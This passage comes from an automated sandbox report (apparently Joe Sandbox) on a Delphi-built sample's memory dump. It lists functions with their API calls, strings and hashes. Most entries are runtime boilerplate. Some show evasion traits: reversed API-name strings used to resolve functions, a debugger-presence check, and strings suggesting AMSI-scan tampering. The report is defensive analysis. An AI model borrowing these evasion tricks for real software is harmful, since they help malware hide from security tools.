7, xrefs: 031C26A1

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: 9a284a0fe48d95b5df20f711e9a8fdf1c61a430529b30f13b91a547df2338b17
Instruction ID: 4c6f596c0cdaaabf0cac38ee9d5f295ecf64ff474ebd48d4804df7e31ddd38b8
Opcode Fuzzy Hash: 9a284a0fe48d95b5df20f711e9a8fdf1c61a430529b30f13b91a547df2338b17
Instruction Fuzzy Hash: D071A434A143E88FDF21EA2CCC84BD8BAF5EB2D600F1448E9D549AB241DF7589C6CB51

Function 031CBDC0 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,031CC08B,?,?,00000000,00000000), ref: 031CBDF6

Part of subcall function 031CA7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 031CA7E2

Strings

:mm, xrefs: 031CC029
mmmm d, yyyy, xrefs: 031CBEF2
AMPM , xrefs: 031CC019
AMPM, xrefs: 031CC00A
:mm:ss, xrefs: 031CC046
m/d/yy, xrefs: 031CBEC5

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: c2473a18e5fa4faf934e0957ffae34228c55418f9e75be08d153c88f9b4d0d65
Instruction ID: 328fbe105d9450832bc07295081b0c75dfb8c38b17c09837217ad0eb29548891
Opcode Fuzzy Hash: c2473a18e5fa4faf934e0957ffae34228c55418f9e75be08d153c88f9b4d0d65
Instruction Fuzzy Hash: D1615078B243CC9BCB06EBA5E85069E77B6AFAC700F50843DA101AF645CB35DD1A8791

Function 031DAFE0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 031DB000
GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 031DB017
IsBadReadPtr.KERNEL32(?,00000004), ref: 031DB0AB
IsBadReadPtr.KERNEL32(?,00000002), ref: 031DB0B7
IsBadReadPtr.KERNEL32(?,00000014), ref: 031DB0CB

Strings

LoadLibraryExA, xrefs: 031DB00D
KernelBase, xrefs: 031DB012

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: Read$HandleModule
String ID: KernelBase$LoadLibraryExA
API String ID: 2226866862-113032527
Opcode ID: ef5f4eca0ef2e29f5789144f4887a7b4cb2d117f650fa4bedd15a44042c63058
Instruction ID: 96897d65a14adc6e6b277c2e55f7bb141efbde0337b8ae7b936b206bbc454093
Opcode Fuzzy Hash: ef5f4eca0ef2e29f5789144f4887a7b4cb2d117f650fa4bedd15a44042c63058
Instruction Fuzzy Hash: 34317475A08305BBDF20DB69DC85F5A77BCAF0E354F058154FA25AB2C1D730A940C7A0

Function 031C435C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,031C4423,?,?,032467C8,?,?,031EE7A8,031C65B1,031ED30D), ref: 031C4395
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,031C4423,?,?,032467C8,?,?,031EE7A8,031C65B1,031ED30D), ref: 031C439B
GetStdHandle.KERNEL32(000000F5,031C43E4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,031C4423,?,?,032467C8), ref: 031C43B0
WriteFile.KERNEL32(00000000,000000F5,031C43E4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,031C4423,?,?), ref: 031C43B6
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 031C43D4

Strings

Error, xrefs: 031C43C8
Runtime error at 00000000, xrefs: 031C438E, 031C43CD

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 6ad9b2753904523e4c67fc0882918b41aec758fc2002581f9357136876647e0c
Instruction ID: d35eec6592a6fb2de844444dc98b3e0631cf9a22e8d3288c1546742383d59347
Opcode Fuzzy Hash: 6ad9b2753904523e4c67fc0882918b41aec758fc2002581f9357136876647e0c
Instruction Fuzzy Hash: B4F09669AE83D47FF711F2B16C5AF59265C57ACB26F54421DB2205C0C68BA880C4D372

Function 031CAEC4 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 031CAD3C: VirtualQuery.KERNEL32(?,?,0000001C), ref: 031CAD59
Part of subcall function 031CAD3C: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 031CAD7D
Part of subcall function 031CAD3C: GetModuleFileNameA.KERNEL32(031C0000,?,00000105), ref: 031CAD98
Part of subcall function 031CAD3C: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 031CAE2E

CharToOemA.USER32(?,?), ref: 031CAEFB
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 031CAF18
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 031CAF1E
GetStdHandle.KERNEL32(000000F4,031CAF88,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 031CAF33
WriteFile.KERNEL32(00000000,000000F4,031CAF88,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 031CAF39
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 031CAF5B
MessageBoxA.USER32(00000000,?,?,00002010), ref: 031CAF71

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: 62789e227a759f7b639bb31cf62b78413e281dc4d5281186ff23fa9ebf5d9b78
Instruction ID: eaf89982b41f726b99e482089291aeb992c34e85c611bd45a1419c429bc9eada
Opcode Fuzzy Hash: 62789e227a759f7b639bb31cf62b78413e281dc4d5281186ff23fa9ebf5d9b78
Instruction Fuzzy Hash: 4E119ABA124384BFD301F7A4DC85F9F77ACAF29A00F444929B744DA0E0DB74E8008762

Function 031CE58C Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 031CE625
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 031CE641
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 031CE67A
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 031CE6F7
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 031CE710
VariantCopy.OLEAUT32(?,00000000), ref: 031CE745

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction ID: ff0c040ec4677f3c7ee7ed3da34690aa9a90fa5578322e9f621cad934b7a4aef
Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction Fuzzy Hash: 5551FF7992166D9BCB26DB58CC90BD9B3BCAF5C301F0441D9E509EB211D730AF858FA1

Function 031C3598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 031C35BA
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,031C3609,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 031C35ED
RegCloseKey.ADVAPI32(?,031C3610,00000000,?,00000004,00000000,031C3609,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 031C3603

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 031C35B0
FPUMaskValue, xrefs: 031C35E4

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: c283b4d40622388525c702a8846f5db66556650ad6a1723d553a02c1a4a954c8
Instruction ID: 0e307755ca225827f24d4070549aed222efe3f92ea02623f6185eedab928345f
Opcode Fuzzy Hash: c283b4d40622388525c702a8846f5db66556650ad6a1723d553a02c1a4a954c8
Instruction Fuzzy Hash: 5201F57DA60398BFDB10EBD08C02BBD73ECD71CB11F104469BA10DA681E378A610D668

Function 031D8274 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031D82FC,?,?,00000000,00000000,?,031D8215,00000000,KernelBASE,00000000,00000000,031D823C), ref: 031D82C1
GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031D82C7
GetProcAddress.KERNEL32(?,?), ref: 031D82D9

Strings

Kernel32, xrefs: 031D82BC
sserddAcorPteG, xrefs: 031D828F

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: Kernel32$sserddAcorPteG
API String ID: 667068680-1372893251
Opcode ID: b1817bec6a20900413a2db85fed9eb7cda29a523e4ef49f727b5d023101f449c
Instruction ID: 47ae24749148bd6b6ec6fd7395825da08839505174e355ad501800e4560fef26
Opcode Fuzzy Hash: b1817bec6a20900413a2db85fed9eb7cda29a523e4ef49f727b5d023101f449c
Instruction Fuzzy Hash: 4D01A27C614348BFDB15EFA9EC51E9DBBBDEB4DE00F518464B814DB601EB30A900C624

Function 031CAA50 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,031CAAE7,?,?,00000000), ref: 031CAA68

Part of subcall function 031CA7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 031CA7E2

GetThreadLocale.KERNEL32(00000000,00000004,00000000,031CAAE7,?,?,00000000), ref: 031CAA98
EnumCalendarInfoA.KERNEL32(Function_0000A99C,00000000,00000000,00000004), ref: 031CAAA3
GetThreadLocale.KERNEL32(00000000,00000003,00000000,031CAAE7,?,?,00000000), ref: 031CAAC1
EnumCalendarInfoA.KERNEL32(Function_0000A9D8,00000000,00000000,00000003), ref: 031CAACC

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 1cd5196df913057144816cde41c7966ec64f6d957e76752753a2f5674cfdd34f
Instruction ID: e867317558dbbaa6b39acb5929a56157743ecd092e9f0ed4b80503365e28be84
Opcode Fuzzy Hash: 1cd5196df913057144816cde41c7966ec64f6d957e76752753a2f5674cfdd34f
Instruction Fuzzy Hash: 4401F2B86303CC7FE713EA74CD12B6E726CDFAEB14F510568E510AA6C1DB65DE008269

Function 031CAB00 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,031CACD0,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 031CAB2F

Part of subcall function 031CA7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 031CA7E2

Strings

yyyy, xrefs: 031CAC25
ggg, xrefs: 031CAC15
eeee, xrefs: 031CAC3E

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: bddf9f1d572199473bdf5fd1bcab033efa76364a5c1a56d44a12602cef106d70
Instruction ID: 790036cac0035c28d34fd56edf72719d0a65de63b3946728805f404efaf198db
Opcode Fuzzy Hash: bddf9f1d572199473bdf5fd1bcab033efa76364a5c1a56d44a12602cef106d70
Instruction Fuzzy Hash: 1141D0686383CC4BD717EBBD88A12BEB2AADFBD100B15416DD452CB344DB249D028269

Function 031D81CC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,031D823C,?,?,00000000,?,031D7A7E,ntdll,00000000,00000000,031D7AC3,?,?,00000000), ref: 031D820A

Part of subcall function 031D8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031D82FC,?,?,00000000,00000000,?,031D8215,00000000,KernelBASE,00000000,00000000,031D823C), ref: 031D82C1
Part of subcall function 031D8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031D82C7
Part of subcall function 031D8274: GetProcAddress.KERNEL32(?,?), ref: 031D82D9

GetModuleHandleA.KERNELBASE(?), ref: 031D821E

Strings

AeldnaHeludoMteG, xrefs: 031D81E5
KernelBASE, xrefs: 031D8205

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: AeldnaHeludoMteG$KernelBASE
API String ID: 1883125708-1952140341
Opcode ID: 7e3d4326eeb398ac620edaa5cd3e4277e1ce93b99f6db3d643f8254e9f6da7d9
Instruction ID: 00f80d92845e2a3ed2408915c848f32e444c660fd83d13a5e3bdcf2c5eff272d
Opcode Fuzzy Hash: 7e3d4326eeb398ac620edaa5cd3e4277e1ce93b99f6db3d643f8254e9f6da7d9
Instruction Fuzzy Hash: D0F09078618B44AFCB01FFA9EC15D5DBBECEB4FA00B518465B820DB611EB30AE00C665

Function 031DF6E8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KernelBase,?,031DFAEB,UacInitialize,03247380,031EB7B8,OpenSession,03247380,031EB7B8,ScanBuffer,03247380,031EB7B8,ScanString,03247380,031EB7B8,Initialize), ref: 031DF6EE
GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 031DF700

Strings

KernelBase, xrefs: 031DF6E9
IsDebuggerPresent, xrefs: 031DF6FA

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsDebuggerPresent$KernelBase
API String ID: 1646373207-2367923768
Opcode ID: a07b5f5912d50953bf4ce72de5eeec884444ccb16f0a02fe56b587b4ab123132
Instruction ID: fca1305eb2e98d131c85e23d6683f02cd74bf494c8ab80242e7e1b4ccd6ff4f2
Opcode Fuzzy Hash: a07b5f5912d50953bf4ce72de5eeec884444ccb16f0a02fe56b587b4ab123132
Instruction Fuzzy Hash: AFD012E63603A02FDE00F2F82CC589D0288896E42E3282F20B033CA093E7A68A1B5114

Function 031CC474 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,031ED10B,00000000,031ED11E), ref: 031CC47A
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 031CC48B

Strings

kernel32.dll, xrefs: 031CC475
GetDiskFreeSpaceExA, xrefs: 031CC485

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: b1c462538387a35b264945284a4bc0f097213a1b218a4bdc51c5cb18e794e830
Instruction ID: 44dc0a25614216279447aca8a980a9a62cc73a22123613e048c6fb41c82a1d91
Opcode Fuzzy Hash: b1c462538387a35b264945284a4bc0f097213a1b218a4bdc51c5cb18e794e830
Instruction Fuzzy Hash: 7AD05EB06203D45FD600FAF55481AB52198873CB11B08C02DF4265D101E7A75C418FF4

Function 031CE1E8 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 031CE297
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 031CE2B3
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 031CE32A
VariantClear.OLEAUT32(?), ref: 031CE353

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: 7cba35b264a240d0436a116bebb789cc463737a3b39c1037891bcc72e12fd266
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: DF411A79A117699FCB62DB58CC90BC9B3BCAF5C601F0441D9E549AB211DB30AF81CF60

Function 031CAD3C Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 031CAD59
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 031CAD7D
GetModuleFileNameA.KERNEL32(031C0000,?,00000105), ref: 031CAD98
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 031CAE2E

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: f5e17a450822226f03ff111b17d8718baa58378a040384c05db7f727e830d0b4
Instruction ID: 66a50d454771a5dae31adbfc33609bf683a675aff265da17a010d07d4b312f14
Opcode Fuzzy Hash: f5e17a450822226f03ff111b17d8718baa58378a040384c05db7f727e830d0b4
Instruction Fuzzy Hash: 65411F74A1039C9BDB21DB68DD84BDAB7FCAF2C200F4440E9A548EB245D7749F948F94

Function 031CAD3A Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 031CAD59
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 031CAD7D
GetModuleFileNameA.KERNEL32(031C0000,?,00000105), ref: 031CAD98
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 031CAE2E

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 19d051e35025ac9efe6da69b96030b0128dae1921998d4a1a8e6a5c68a141ade
Instruction ID: 9c0c071fa77b30ee2c4d0de46a24b2bffb9b5af77ecd2fe8e38113c4566a6c2a
Opcode Fuzzy Hash: 19d051e35025ac9efe6da69b96030b0128dae1921998d4a1a8e6a5c68a141ade
